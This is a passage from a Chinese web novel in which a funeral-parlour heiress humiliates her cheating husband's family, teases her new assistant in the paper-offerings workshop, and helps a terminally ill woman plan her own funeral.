“噗嗤。”手机里传来陆寻压抑的低笑,白绯也忍不住勾了勾嘴角。
“你这个瘪犊子放什么狗屁呢...”祝老太彻底被点炸了,枯枝般的手指直往人医生脸上戳。
医生看起来也是个很有经验的老鸟了,后退一步躲开了祝老太的魔爪,并不和她多纠缠,果断叫了保安。
随着两个腰间别着电棍和辣椒水的保安挤进狭小的诊疗室,越来越多的人注意到了这处的混乱,朝门口聚集过来。
“怎么回事?”
“不知道啊,好像有人医闹吧?”
一片叽叽喳喳的讨论声中,陆寻的声音传来。“嗐,阿姨,你们不知道,我可都听明白了,是这男的出轨有夫之妇,被人家老公踢断了命根子!”
“嚯!玩这么大!”
“作孽哟,啧啧啧~”
“都断了啊,管不住下半身,活该!”
“那他们找医生麻烦干嘛?真是无理取闹。”
如此刺激的八卦立刻就点燃了吃瓜群众的热情,纷纷拿出手机开始拍拍拍,陆寻混在其中如鱼得水,也光明正大地举着手机,还不忘顺手给罗峻辉身上泼脏水。
有个阿姨意识到不对,关心地问陆寻:“唉,小伙子,那你来这科室干嘛啊?有隐疾?”
陆寻张口就来:“嘿嘿,这不是不够持久么,想给俺媳妇更好的体验,就来找医生开点药。”
白绯:...
“好男人啊,要不是你有媳妇儿了都想给你介绍我家侄女了!”
“是啊,不能讳疾忌医,多少男人就为那面子让媳妇儿守活寡!”
四周一片夸赞声,陆寻谦虚的声音响起:“哪里哪里,谬赞,谬赞,哈哈~”
罗峻辉听着门口超大声的窃窃私语,一张脸红了又白,白了又红。他从兜里掏出口罩,遮住了自己脸。
他能怎么办,又不能对着门口喊自己的命根子没有断,万一有人质疑,自己还能掀开睡袍当场自证不成?!那像什么话?!更何况自己也确实不像没事的样子啊?!
自家撒泼的老娘已经被两个保安摁住了肩膀,正在徒劳地挣扎:“放开我!杀人啦!杀人啦!”
罗峻辉只觉颜面扫地,终于忍无可忍地对着祝老太低喝一声:“别闹了!丢不丢人!”
“峻辉?你嫌我丢人?你竟然嫌你老娘丢人?”祝老太不可思议地望着他,伤心欲绝,立刻就将炮火对准了罗峻辉,“你这个没良心的,妈一把屎一把尿把你拉扯大,你就是怎么对我的?”
罗峻辉绝望地闭了闭眼,不再和她纠缠,恼羞成怒地从一脸鄙夷的医生手里接过住院单,一瘸一拐地出了诊疗室。
门口围观的群众呼啦一声
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给他让开了条口子。
祝老太眼看儿子走了,也顾不上闹了,跟着要走,保安便从善如流松了手。
过道上,罗雪萍正拿着手机专注地打字,黑红的脸上一派春情荡漾,连自家弟弟走了都没有发现。
赶来的祝老太看她这副不值钱的样子就来气,猛地揪住罗雪萍的耳朵,拉扯着她站了起来:“你这是被谁勾了魂去,自家弟弟受伤也不管了?!给我把手机收起来!峻辉要住院,今晚我们两个都留下来陪护!”
罗雪萍揉捏着自己被扯得通红的耳朵,没有反驳,眼睛里是压抑不住的怨恨。
母子俩逐渐离开了手机摄像镜头的范围。
镜头翻转,屏幕里出现陆寻意犹未尽的脸。
“白小姐,我这就跟上去!你等我消息!”
“唉,你...”
还没等白绯挽留,陆寻就迫不及待地挂了电话,看着比她这个当事人还急。
白绯哭笑不得地摇摇头,放下手机,脑中却突然闪过一个好主意。
今天罗峻辉要住院,祝老太和罗雪萍都要留在医院陪护,那婚房里现在岂不是都没人?
白绯摸摸下巴,嘿嘿嘿地坏笑起来。
周芸正巧带着祝临川从她身后路过,忍不住抬手轻轻拍了拍她的后脑勺:“你这丫头,想什么呢,怎么笑得这么猥琐。”
白绯回头,将脸上的笑容艰难地压了压,回道:“没什么,突然想到了一句话而已。”
“什么?”周芸不解道。
“趁他病,要他命。哈哈哈哈哈~”说完自己又忍不住笑开了。
祝临川看着白绯笑得花枝乱颤,只觉得这人的坏水都要冒出来了。
这是又要捉弄谁呢?
周芸不明所以地摇了摇头,招呼祝临川跟上:“走吧小祝,阿姨带你去楼上看看房间。”
祝临川乖巧地跟着上了二楼。
二楼南向一共有三间卧室,从楼梯上去第一间是白父白母在住,隔壁目前是白绯在住,最后一间以后就归属于祝临川了。
周芸走到窗边将窗户关小了点,又理了理被吹乱的米色纱帘,询问道:“屋子小了点,但是阳光充足,阿姨就做主给你挑了这间屋子。床铺都给你收拾好了,咱们这边比一般的地方还是要阴冷一些,就没给你铺凉席。你要是嫌热,就再跟阿姨说,阿姨再给你换。”
祝临川摸了摸带着粉色小碎花的床上四件套,难得地笑了笑:“不用换,这就很好了。阿姨,谢谢你。”
周芸很喜欢这个眉目俊朗的年轻人。想必总是家中困难,才会连学费都出来自己挣。闻言心疼道:“客气什么,拿这儿当自己家,有什么需要尽管提,别拘谨。那行,阿姨先走了,得去帮你叔叔处理今天王总的订单。你一会儿有事就找小施,或者找绯绯也行。”
周芸走了。祝临川把背包放进角落的衣柜里,正好能从窗户看见她走出大厅朝墓地走去。
他想,虽然白绯刁蛮了些,但周芸真的是个很好的长辈。假如妈妈还在的话,大概也会这样温柔地笑着和自己说话吧?
但他很快就阻止自己再继续想下去了。
想又有什么用呢?父母走得太早,祝金花没有给他留下关于父母的任何一件遗物,甚至连照片都没有一张。这么多年,他对父母没有任何的了解。
他早就习惯了孤身一人,在这个世上,他已经没有任何的寄托。
祝临川敛了敛眉,沉默地走出房门。隔着护栏,正好看见白绯翘着二郎腿坐在沙发上,坏笑着挂断电话,眼角眉梢都是恶作剧得逞的快乐。
这人,绝对是要去做坏事。
5. 纸活与盲盒
白绯挂了电话,注意到楼上的祝临川,冲他一甩头,一副邪恶的资本家模样:“走吧小童工,别偷懒,和姐姐做纸活去。”
放纸活的仓库在后院,一排五间大平房一字马开,门脸不大,但纵深很深,里面放着各种白事需要的用品。
头两间屋子里放着的都是纸活。第一间里放着的是金元宝、金条、车马、桌椅沙发、电脑电视,甚至还有手机、吉他、护肤品和化妆品。
门口支着一张桌子,小施正坐在边上的小马扎上扎纸别墅,地上的骨架已经初具雏形。
第二间房子里放着的就都是纸人了。这些纸人面色惨白,嘴唇鲜红,空洞洞的眼睛直愣愣地盯着门口。屋子里没有窗户,唯一的光源只有头顶一盏昏黄的灯泡,堪堪照亮了一小片区域,深处都隐没在黑暗里。
白绯眼珠一转,对刚在小施身边坐下的祝临川道:“小童工,起来。放纸人那屋最里头有个大箱子,你去给我搬出来。”
祝临川:...
小施放下秸秆就要站起来:“绯绯姐,还是我来吧,临川可能找不到在哪儿。”
白绯却按着他的肩膀让他坐回去,冲祝临川挑衅一笑:“就那么一箱东西,还能找不到嘛~是吧,小祝?”
祝临川低着头不说话。
白绯看不清他的表情,坏笑一声,慢吞吞说道:“临川,你该不会是怕了吧?”
白绯将祝临川的沉默当成了默认,兴冲冲地扶着人的肩膀把他往屋里推:“不过是些纸人罢了,更何况还没点睛。哎呀,我忘了,最里面还真有几个点了睛的。”
她站在祝临川的身后,让他直面满屋子密密麻麻立着的纸人,踮起脚尖凑到他耳边,轻声道:“听说点了睛的纸人,看见这花花世界,就不舍得走了,有时候还会招惹上脏东西呢~”
温热的吐息喷在年轻男人耳边,手下的身体微微颤了颤。
哈哈哈哈,害怕了吧?
白绯心中得意,手下一个用力,就把祝临川推了进去,轻笑道:“去吧,连这都不敢的话,在咱们这行可待不下去。”
祝临川被推进了屋,白绯站在门口紧紧盯着他的背影。
男人身姿笔挺,脚步沉稳,似乎并没有白绯预想中会有的退缩。
她看着祝临川慢慢走进房间深处,唇角一牵,抬手按在了电灯的开关面板上。
“咔嚓”一声,白绯按下了开关。
灯熄灭了,屋子里霎时伸手不见五指。
白绯坏笑着歪着头聆听,预想中的惨叫却并没有响起,屋子里一片寂静。
几分钟过去,仍然没有任何动静。仿佛刚才根本没有一个大活人走进去,一切都只是她的臆想。
门口的纸人脸上顶着如干涸血迹般的腮红,嘴唇勾勒出夸张的弧度,一直咧到耳根,阴惨惨地和白绯对视。
坏了,白绯心想。
她几乎是立刻抬起脚步往屋子里走去,因为太过着急,连灯都忘了打开。
这小子该不会被吓晕了吧?!
“祝临川!祝临川!”
突然从光亮处进入黑暗,白绯的视线有一瞬间的模糊。
她眯着眼睛,也来不及适应,就匆匆往最深处走去。
视线所及处都是纸人,行走间扬起的风将它们的衣袂带得窸窣作响,饶是白绯都感觉自己的心跳控制不住地加快了。
“祝临川!你在哪儿?快吱个声!”
白绯已经走到了墙边,她要的大纸箱原封不动地放在地上,四周并没有祝临川的身影。
人呢?
突然之间,白绯眼角余光瞥到背后有什么东西动了动。
她猛地转过身,就看到一个穿着古装的纸人伸着双臂大笑着朝自己扑来。
血液瞬间涌上头顶,白绯下意识伸手去挡,然而脚下却被地上的纸箱绊了个踉跄,身体失去平衡朝后倒去。
白绯头脑一片空白,然而预想中的疼痛却没有到来,一只温热的手稳稳地托住了她的后腰。
纸人的脸和白绯差之毫厘,之后被慢慢移开,露出了后面祝临川似笑非笑的脸:“嫂子,怎么这么不小心。”
白绯这才意识到自己被这小子耍了。
灯亮了起来,是小施在门口打开了开关。
“绯绯姐,临川,你们干嘛呢?怎么都不开灯?”
白绯揪着祝临川的衣领借力,直起身体站稳,只觉得拳头硬了。
她松开抓着人衣服的手,单手掐住纸人的脖子狠狠推到一旁,阴恻恻笑道:“这不是担心你吗?”
祝临川看着纸人都快被掐断的脖子,怀疑白绯可能更想掐的是自己。
眼前的美人白皙的脸上浮起红晕,双眼因羞恼而闪着水光,整个人如同春日里绽放的桃花,十分娇艳。
白绯深呼吸一口气,强迫自己冷静下来,佯装无事对祝临川道:“就是这个箱子,你打开盖子我看看。”
祝临川深深地看了白绯一眼,道:“好。”
他在纸箱前半蹲下身,余光瞥到白绯正在身后一脸期待地看着自己。
这箱子里装着的东西绝对有猫腻。
但他依然伸手,仿佛毫无防备般地打开了盖子。
只见里面赫然放着满满一摞人类的胳膊和大腿!
这还吓不到你?!
白绯期待地等着祝临川因为恐惧而出洋相,结果却见他非常平静地问道:“要搬出去吗?”
白绯:不是,兄弟,你看见里面的东西了吗?
祝临川也没有等她回答,双手托住巨大的纸箱底部稳稳地站了起来。
路过白绯身边时,祝临川的嘴角微微勾起,意有所指道:“嫂子快跟上,别一会儿又被吓得站不稳了。”
白绯:...
啊啊啊啊气死我了!
小施见二人迟迟不出来,正准备往里走,就看到祝临川端着个箱子迎面走了出来。
他看了眼敞开的盒子,问道:“绯绯姐,怎么把这些假肢拿出来了?”
跟在后头的白绯看起来有点蔫儿,有气无力地回道:“拿出来练习下缝合。”
她怨念地看着祝临川,道:“就放这儿吧。”
其实在阳光下就能看出,这些肢体都是硅胶假肢。
祝临川将箱子放在桌边,就见白绯满脸不耐烦地冲他摆摆手:“找你小施哥玩去,别在我眼前晃。”
看着就心烦。
白绯恼怒地咬了咬唇,干脆眼不见为净,不再管他,从墙角的柜子里拿出一个工具箱,在桌边坐了下来。
她挑挑拣拣地从箱子里拿出一条假大腿,用刀在上面划了几道创口。
之后又从工具箱里挑出一根较粗的弯针,用持针钳夹着穿好缝合线,就对着伤口缝合起来。
干她们这行,除了正常死亡的遗体,也经常会接触到非正常死亡的遗体。
皮开肉绽,脑浆迸裂,四肢分离,甚至压成肉泥,什么情况都可能遇见。
把能塞回去的东西塞回去,能拼起来的东西拼起来,缺失的部位用各种材料做替代,最后就是尽可能地把创口美观地缝合起来。
有时候为了修复一具遗体,可能需要花费她十几个小时的时间。
尽可能地将那些触目惊心的伤口抹去,让逝者恢复生前的模样,体体面面地走,让留下的亲眷心中得到慰藉,就是这份工作最大的意义了。
和医院使用的缝合线不同,毕竟逝者也用不着拆线了,所以使用常规的结实的缝衣线就行。
缝合的方法也有不同,采用的是皮下缝合,也就是说将缝合线藏在伤口之下,之后再通过化妆来掩盖,达到最终的目的。
以前白绯一般
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都使用半化冻的猪肉来练习缝合。逝者一般都会先进行冷冻,之后在半化冻的状态下进行清洗、缝合、穿衣、化妆。为了让肢体状态更适合进行这些处理,化妆师还会对逝者进行按摩,或者使用吹风机来提升皮肤的状态。
后来随着技术的发展,有了专门的硅胶,大家就都开始使用这些硅胶假手假腿来练习了。
祝临川被白绯打发走,也不恼,乖巧地走到小施身边,道:“小施哥,我来帮忙吧。”
白绯在后头扬声说了句:“跟你小施哥好好学,他可是做纸活的高手,曾经做的纸扎天宫卖出了80万的高价呢~”
祝临川意外地看向小施,倒不是惊讶于平平无奇的他竟然有这么好的手艺,而是没想到区区纸活竟然能卖出这么高的价钱。
小施憨厚地笑了笑,像是看出了祝临川的疑问,掏出手机示意他看:“是一个客户点名要做的,花费了将近两个月的时间才完成。哝,你看,就是这个。”
祝临川仔细看了视频,感受到了外行人的震撼,由衷赞美道:“确实精美。小施哥,你很厉害。”
视频里的天宫大小堪比一间平房,几乎可以假乱真。琼楼玉宇,祥云与仙鹤环绕,仙人与神兽在宫殿内打坐、休憩。若不是事先告诉他,他真的很难相信这竟然只是一件纸活。
“小时候喜欢画画,但没钱去上艺术学校,爹妈也不支持。后来做了纸活,也算是勉强圆了画画的梦了。”小施赧然地笑了笑,有点不好意思的样子,“不过现在买纸活的人也少了,大家都倡导绿色祭扫嘛。只是如果还有人需要,我就还想继续做下去。哈哈,上不得台面…”
“不会。”祝临川却严肃地打断了他,他直直地看着小施,诚恳道:“小施哥,你不要妄自菲薄。”
祝临川的语气中有难掩的落寞:“有时候我觉得,留在世上的人比逝去的人更痛苦。这些纸活让那些无处安放的思念得以寄托,并最终到达逝者的身边,又如何不算一桩功德呢?”
白绯停下手中的针,惊讶地挑了挑眉。
小施更加局促了,他没想到祝临川会把他抬得这么高。这是他进这行以来从来没有得到过的尊重。
干他们这行的,很多都不会再走亲戚,也不会参加红白喜事。亲友生病住院,他们也不会去探望。大多数人都会拒绝和他们有所交集,甚至连肢体接触都十分抗拒。
小施有些害羞,眼神躲闪着选择了转移话题,示意祝临川看地上的支架。
“咳…那个,我来教你做纸扎别墅吧。虽然它是纸扎的,但其实和真建筑的结构一样,都有四梁八柱。”回到了熟悉的领域,他又逐渐镇定下来:“像这样,先用16根秸秆绑出一个平面,绑好3个后就可以开始组装。最外面的话我们要用更粗的棍子来固定,要是塌了就不好了,半夜客户来找你麻烦...”
祝临川和小施一起固定好了房子的主体,之后又把做好的房顶放了上去。
他们脚边放着一大桶粘稠的浆糊,祝临川学着小施的样子,先用手挖一团浆糊抹在秸秆上,之后就用大片的纸先糊一个底。
糊完后,小施又拿出各色的花纸,道:“黄的做瓦片,绿紫的做流苏和盘旋的龙,最后在顶上放上葫芦,屋子就做完了。如果客户价格出得高,可以在上面再做些装饰...”
白绯缝合完了两条腿,放下针线,站起身来舒展了下筋骨。
祝临川正拿着画笔在别墅上描摹。白绯起先还抱着嘲笑他的心思,结果没想到这小子手很稳,也很巧,学得有模有样的。
看他专注地和小施学习,白绯便也打消了搞破坏的想法,揪了沓卡纸研究起新品来。
颜料盒里有几格颜料正好用完,小施起身去拿,路过白绯,就看到她叠了个四四方方的盒子,拿笔在上头写了两个字:盲盒。
小施:...
6. 六折叠与林柔
白绯注意到小施路过,又变魔法似地从脚下划拉出两个一样的盒子,放到他面前一字排开,手一挥,霸气侧漏道:“抽吧!”
小施:...
他看着白绯期待的表情,犹犹豫豫地从中间选了一个。
白绯也没放过祝临川,逗小狗似地叫道:“小童工!你也过来抽一个!”
人类都逃不过抽盲盒的命运。
“快打开呀,愣着干什么。”
在白绯的催促下,小施先打开了手里的盲盒,只见里面孤零零地躺着一张十元冥币,这是冥币中最小的面额了,毕竟一般都以亿元为单位。
白绯探头看了看,无情嘲笑道:“哈哈哈哈,非酋。”
小施头一次体会到抽盲盒的乐趣,竟也有点跃跃欲试起来。
祝临川在四只眼睛的注视下,也拆开了自己的盲盒,里面放着一对童男童女。
“中规中矩,跟你这个人一样。”白绯撇撇嘴点评道,“给你们看看什么才是欧皇。”
她又兴冲冲地拿起最后一个盲盒打开,从里面拿出一个纸扎手机,刷拉一下在二人面前展开,竟然还特么是六折叠的。
白绯跟玩牌似地把六折叠手机打开又合上,对小施道:“这新品不错,也给咱们老祖宗体会体会新时代年轻人的娱乐。等我以后噶了,就叫子孙们给我烧点吧唧盲盒、娃娃盲盒,哦,还有每年的最新款口红。纸人也是,一定要叫他们给我扎得好看点,丑拒,不然他吃我果盘里一颗葡萄我都想报警...”
“呸呸呸。”小施赶紧阻止自家大小姐这张百无禁忌的嘴,“胡说什么呢,长命百岁,长命百岁啊。”
白绯却不以为然:“嗐,人就是会突然死掉的啊,小施你在这行做了这么久,还不明白吗?”
气氛突然沉重起来,祝临川放下盲盒,走回纸别墅前继续拿起笔描画。
是啊,双亲不就是突然离世的吗?连只言片语都没来得及给他留下。或许有留下,但他也已无从得知了。
“去思考死亡也不是一件坏事。”白绯揪过几张卡纸继续折,嘴里道:“人生本来就是做减法,来日并不方长。与其到时方寸大乱,留下太多的遗憾,我反而更接受提前做好准备。”
就在这时,手机响了一声,是陆寻发来的。白绯打开一看,上面是一张照片。
病房里,罗峻辉正半躺在病床上,床边坐着一个长相清纯的女子。二人双手交握,脉脉含情对视。祝老太和罗雪萍就站在边上,一脸慈祥地看着这对狗男女,仿佛他们才是其乐融融的一大家子。
陆寻紧跟着又发来一条语音,白绯点开一听,就听到他咬牙切齿的声音。
“白小姐,我都录下来了!这姓罗的对你一毛不拔,却拿着你的钱在外面养女人!这对奸夫□□早就勾搭上了,这大猪蹄子不仅给她买了车,还买了房!昨天你们新婚,这贱女人也搬进了新房!”
白绯冷笑一声,想,这确实是那畜生做的出来的事。
陆寻又发了一条长达60秒的语音过来,白绯嘴角抽搐地点开。
“他家人也早就知道,那老太婆还说等把你家的钱都捞干净,就风风光光迎小三进门!呸,老子拳头都硬了!唉,大爷你说啥...”
边上传来一个大爷疑惑的询问:“小伙子你是我家亲戚吗?没人和我说今天有人要过来看我啊?”
白绯就听到陆寻敷衍地回应:“哦,大爷,我是您家大舅子的二表姨的三舅妈的重孙子,今天过来看看您,您吃香蕉。”
白绯:...
她回了一条信息过去:知道了,你别气。我已经给他们一家准备好了大礼,明天他们就能收到了。
她冷笑一声切出了对话框,已经迫不及待看到他们明天气急败坏的表情了。
白绯刚准备放下手机,屏幕一亮,又弹出了一条通知,是白书远发来的信息。
然而这条信息却让她的心沉了下来。
有客户下了预订单,现在正在医院等她过去详谈。
尽管已经见惯了死亡,但无论过了多久,他们都没办法做到安之若素。
“小施,你在公司里守着,我和祝临川出去一趟,有单子。”
“唉,好。”小施的表情也沉重起来。
干他们这一行,和普通生意不一样。所有生意人都希望自己业绩好,只有他们不是。
有订单,就意味着又有一条生命即将逝去,或已经逝去。
祝临川放下笔,跟着白绯走到院子里,里面停着三辆车。
一辆是白绯开回来的奔驰,一辆是长安之星,车厢里已经塞得满满的,都是白事要用的东西,例如围棺花、路引、木板布幔、孝帽顶步等。另一辆是江淮瑞风救护车,但车头贴着三个大字:“非急救”。
祝临川下意识站在救护车前,却见白绯已经拉开了奔驰的车门。
“还没到开那车的时候。你现在开这车去,主家得让你脑袋开花。”白绯按下启动键,示意祝临川上副驾。
车子缓缓驶出院子,来到了A市最著名的肿瘤医院。
医院里的停车位永远是满的,门口的马路上大排长龙,都是等着空位的车主。
白绯绕到边上的酒店停车场停了车,和祝临川二人步行进了院区。
乌泱泱的人群行色匆匆,表情麻木。
惨白的墙壁,刺眼的灯光,浓郁的消毒水气味,医疗仪器的滴答声,混杂着时不时传来的呻吟和惨嚎。
白绯侧身避过人流,按着手机上的地址走到了住院部三楼。
出电梯后,她交代了祝临川一声:“一会儿见了客户,注意着点。咱们这行可不兴笑容满面迎上去喊欢迎光临,也不能挎着个批脸提前哭丧,你自己把握好尺度。算了,你还是别说话了,老实在后边待着就行。”
祝临川手里提着一个巨大的箱子,闻言郑重地点了点头。
379病房到了,白绯深吸一口气,抬起手轻轻敲了敲门。
一名戴着金丝眼镜,胡子拉碴的中年男子过来开了门。
“您好,我是安泰礼务公司的白绯。是叶先生吗?”
叶沐风镜片后的眼睛布满了红血丝,他冲二人点点头,侧身往里让了让:“你们好,我是叶沐风。二位请进吧,我夫人...我夫人在里面等你们。”
白绯穿过房门走了进去。这是一个单人间,靠窗的位置上有一张沙发,上面铺着凌乱的被褥和枕头,墙上的电视机正在轻声播放综艺节目,一名形容枯槁的中年女子半躺在唯一的病床上,边上站着一个瘦高个的年轻男孩。
男孩和叶沐风共用一张脸,正激烈地和女人争论着什么。而当他看到走进来的白绯后,情绪彻底被激怒了。
“你们来干什么!都给我滚!”他双眼通红,死死地盯着白绯,额头青筋直跳。
自母亲确诊以后强压在心中的愤怒和悲伤在此刻终于找到了发泄的出口,一股脑地朝白绯扑来:“
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我妈明天病就好了!她马上就能出院!滚!都给我滚!不许咒我妈!”
白绯的脚步顿住了。
虽然她经常开玩笑,干这一行不会和客户有矛盾,毕竟客户又不会诈尸给差评,但他们却是要和家属打交道的。
有理解他们的家属,自然也有不理解的家属。今天这样的程度也算不上什么。
她记得曾经有一回,自己被家属指着鼻子从收尸现场一路辱骂到殡仪馆:“连死人的钱都赚,你们不得好死!”
而这仅仅是因为他们收了450元费用,去处理一具泡水5天早已呈现高度巨人观的遗体。
白绯苦笑一声,微微低下了头,自嘲道:我早就应该习惯了啊,怎么还会觉得委屈呢?什么时候我也变得这么矫情了?
低垂的视线中突然出现一个身影,是祝临川。
他向前一步挡在了白绯面前,身形清瘦,却像一堵坚不可摧的墙,将白绯和悲愤的少年隔绝开来。他也不说话,只那么静静地站着。
“怀瑾!你给我冷静点!”叶沐风对白绯道了句歉,匆匆越过二人抓住了叶怀瑾的胳膊。
少年流着泪冲父亲咆哮:“你也盼着我妈死吗?你是不是累了,不想再照顾她了?还是你心疼钱...”
“怀瑾。”一声虚弱的呼唤响起,在嘈杂的房间里几不可闻,却霎时间让少年所有的攻击凝固。
“妈突然想吃馄饨了。”床上的女人温柔地笑道:“你和你爸去给妈买一碗好吗?要加榨菜和虾皮的,多放葱花。”
她实在是太瘦了,就像是一具包着皮的骷髅。眼窝凹陷,脸色是纸一般的苍白。若不是监护仪上的心电图依然在起伏,她几乎就像个死人了。
男孩望着自己虚弱的母亲,嘴巴开了又合,最终还是低低应了声好。
叶沐风扶住儿子的肩膀,对白绯点了点头,带着失魂落魄的叶怀瑾离开了病房。
门咔哒一声合上。
女人冲白绯不好意思地笑笑:“对不住,你们别和他计较。怀瑾他...他暂时还接受不了这件事。”
“不会。”白绯拍拍祝临川的胳膊,示意他让开,走到女人身边坐下:“林女士,您好,我是白绯,这位是我的助手小祝。”
“你们好。”林柔慈爱地看着二人。
白绯犹豫地看了看她,询问道:“林女士,您确定要自己...”
“嗯。”林柔虚弱地笑了起来:“是我的葬礼,不是吗?还有谁比我更懂得自己呢?”
白绯表示明白了,回头示意祝临川把手里的背包递给她,然后从里面拿出几本厚厚的手册递给林柔。
林柔接过后看了看封面,先挑选了写着服装的那本。
白绯替她扶着厚重的手册,让她能看得轻松一些。
林柔冲她感激地笑了笑,伸出枯枝般的手指翻看起来。
逝者在去世后,通常都会换好提前准备的寿衣,衣服件数多达八件。林柔翻看的手册中就是店里目前有的寿衣款式。
前半本的款式是传统的古装款式,男士一般是长衫搭配马褂,有立领和盘扣。女士则是旗袍和袄裙,色彩比较素雅,上面画着花卉和瑞兽。
后半本的款式则是现代款式。男士一般是改良版的中山装或者西装,女士则是连衣裙的款式。
林柔翻完了整本图册,发现里面寿衣的款式都很厚实,不禁疑惑地问道:“这寿衣不分季节吗?怎么一年四季都是一个款?”
7. 压力大时就会想找个男人玩玩
白绯欲言又止。
好在林柔很快反应过来,捂着脸苦笑道:“我看我真是病傻了,那尸体也不怕热啊...”
白绯抿了抿嘴,还是认真补充道:“也不是。在我们国家的丧葬文化中,给逝者穿上多层厚实的寿衣,是希望帮助他们抵御阴间的寒冷,在另一个世界也能丰衣足食。”
林柔表示理解,但不喜欢。所以她又追问道:“那我可以选择其他的款式吗?死都死了,不想穿得那么丑。”
白绯只觉得心脏仿佛被一只无形的大手握紧,压抑得几乎喘不过气来。
她勉强笑了笑,控制自己不要失态,温和地答复道:“只要您和您的家人接受,无论什么款式都可以。”
“太好了!”林柔松了一口气,从床头拿出手机,打开相册给白绯看:“那就这件吧。潮了一辈子,走的时候也想穿得好看一点。”
照片里的林柔站在夏日的草地上,一头浓黑的波浪卷发,与粉色彩带交织缠绕编成一束高马尾扎在脑后,上身是一件V领露脐白纱吊带,下身一条蓝色破洞牛仔裤,手里拿着一根泡泡棒,冲着镜头笑得肆意又阳光。镜头角落里,有个扎羊角辫的小姑娘张着还没几颗牙的嘴嚎啕大哭。
很难想象,照片里的和病床上的竟然是同一个人。
林柔指着那个小姑娘,坏笑道:“我侄孙女,被我抢了泡泡棒,所以哭呢~可能是老天都看不下去我欺负没长牙的小孩吧,没过多久我就确诊了。”
她顿了顿,手指轻轻拂过照片里自己的脸,语气中满是怀念:“这张照片是我一年前拍的,那时候是不是还挺漂亮的?以前和我儿子一起出门逛街,别人都以为我俩是姐弟呢。现在...”
她自嘲地收回手,叹道:“只怕到死的时候,比现在还不像人。也不知道还能不能撑得起这身衣服。”
白绯心中难过,仿佛也看见了病魔是如何一点点吸干面前人的血肉。
她低声安慰道:“您现在也好看,只是太瘦了些。等病好了,多吃些长胖一点,还会和以前一样漂亮。就算...我也保证,一定会给您画一个美美的妆,让您和照片里看起来一模一样。”
“真的?!”林柔很惊讶,“这都能做到?!”
白绯又仔细看了眼照片,确认道:“您这里画的是夏日微醺妆吧?放心,难不倒我。”
林柔就像个好奇宝宝,又追问道:“那化妆品呢,用我自己的吗?我是敏感肌,很容易过敏。哦,我又忘了,都死了还会过敏吗?”
祝临川:...
白绯面对林柔是超乎寻常的耐心:“可以用您的,但是使用我们的效果应该会更好。至于过敏,您也不用担心,我使用的都是兰蔻之类的大牌,保证服帖不脱妆。”
林柔放下心来,道:“好,我这妆毕竟是要直接用到转世投胎了,是要持妆久一点。要不是以后也用不上了,都想问你要化妆品的链接。”
祝临川:...有时候真的挺不懂女人的。
林柔在白绯的建议下,又挑了套常规的寿衣,到时可以铺在棺底。
之后又按着喜欢的花纹挑了个实木骨灰盒和遗像框,并把用来做遗像的照片通过微信发给了白绯。
至于告别仪式,林柔希望不要太伤感,她原本想使用“向天再借五百年”作为BGM,后来还是作罢,怕到场的老人心脏受不了。
最后,林柔又另外发给白绯两个二维码,嘱咐她印在墓碑上。
两个小时的交谈已经耗费了她过多的体力,她躺在枕头上微微喘着气,狡黠地冲白绯眨眨眼:“可不许提前扫码偷看哦~”
临走前,白绯收拾好东西,犹豫再三还是对林柔开了口:“希望您不要放弃希望,继续配合治疗,为了自己,也为了家人。”
林柔没有说话,只是笑着点了点头。
出门的时候,叶家父子早已守候在门口了。
“爸,你先进去陪妈吧,不然馄饨就凉了,她难得有胃口。”叶怀瑾的眼眶还是通红,看得出来刚刚才哭过。
叶沐风有些不放心,怕他又和白绯起冲突。但他看了看手里的打包盒,也不放心妻子一个人待在病房,最后嘱咐了叶怀瑾一句“好好说,别吵架”,就先进了病房。
叶怀瑾站在过道里,别着头不看白绯,纠结了好久,才嗫嚅地低低说了句:“对不起,我不该迁怒你们。我只是...我只是接受不了她替自己安排葬礼,为什么这个世界上会有这么残忍的事?”
他的声音又开始哽咽,泪水从面颊划落,既像是在和白绯寻求答案,又像是在质问命运的不公:“妈妈年轻时在山区支教了整整十年,即使后来离开了也一直在资助贫困的孩子。有人遇到困难,她也总是挺身而出,有一次为了帮助被当街家暴的女孩,自己甚至还受了伤断了一根肋骨。可就算是这样,她也从不后悔,依然会在有人需要帮忙的时候伸出援手。爷爷奶奶说现在很多都是诈骗,利用人们的同情心罢了,妈妈也只是笑笑说,万一他是真的走投无路呢?能力范围内能拉一把是一把...难道她还不算是个好人吗?”
白绯感觉自己的嗓子里就像吞了一大碗干噎酸奶,根本说不出话来。她艰难地开口答道:“林女士当然是好人。”
“那为什么好人没有好报?”叶怀瑾看起来都快碎了,“她还这么年轻,都没看到我走进大学,没看到我娶妻生子,为什么命运要这么对待她?对待我们?”
然而自然法则从来都是这般残酷,它是一场规则模糊、结局荒诞的随机游戏,众生的命运都会在混沌中被碾作齑粉。
“还有希望的,如果好好配合治疗,一定还会有转机。”白绯听到自己这么开口,但在场的人谁都没有被说服。毕竟不是到了走投无路,谁又会想到安排后事。
叶怀瑾自嘲地笑了笑,伸手胡乱抹掉眼上的泪:“借你吉言吧,我去陪妈妈了,就不送你们了。”
擦肩而过时,他听到背后那个和门神似的男人对他说道:“有家人陪伴,她会更有勇气去面对最后的结局。”<
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p>叶怀瑾难得地笑了笑,嗯了一声。
白绯和祝临川走出住院部的时候天已经黑了。
他们路过走廊的拐角,在那里看见了一个跪在地上对着墙壁低声祈祷的老太太。
老太太佝偻着身躯,稀疏的白发也不剩几根了,穿着件有些破烂的布衬衫,双手合十不断向神明祈祷:“菩萨保佑我儿,菩萨保佑我儿.,请菩萨将所有的灾厄都降临在我身上,我愿意用自己的命换他一条命...”
医院的墙壁比寺庙听过更多的祈祷。
走出医院来到热闹的大街上,看到那些健康的行人,祝临川紧绷的肩膀才松弛下来。
虽然大家都因为做了一天牛马而显得生无可恋,但起码都是健康平安的。
白绯看起来有些烦躁,她突然弯腰凑近祝临川,伸手从他提着的背包侧兜里掏出了一包烟和打火机。
动作间,垂落的海藻般的长卷发搭在祝临川的手上,随着她的动作勾缠在指间,让祝临川刚刚放松的身体又下意识地绷紧了。
白绯直起身,把烟含在红唇间,用打火机点燃,深深吸了一口。
烟头在昏暗的光线中闪烁,照亮了她此刻颓废又美艳的脸。
烟雾缭绕中,白绯对着祝临川道:“小童工,你先回去吧,我去喝一杯。”
每当心理压力过大时,白绯就会想找个男人玩玩。鲜活的□□能让她暂时忘却生命的脆弱和五常。
然而出乎意料的是,这个一直以来表现乖顺的小童工却拒绝了她。
“这么晚了,你一个人出去不安全。”
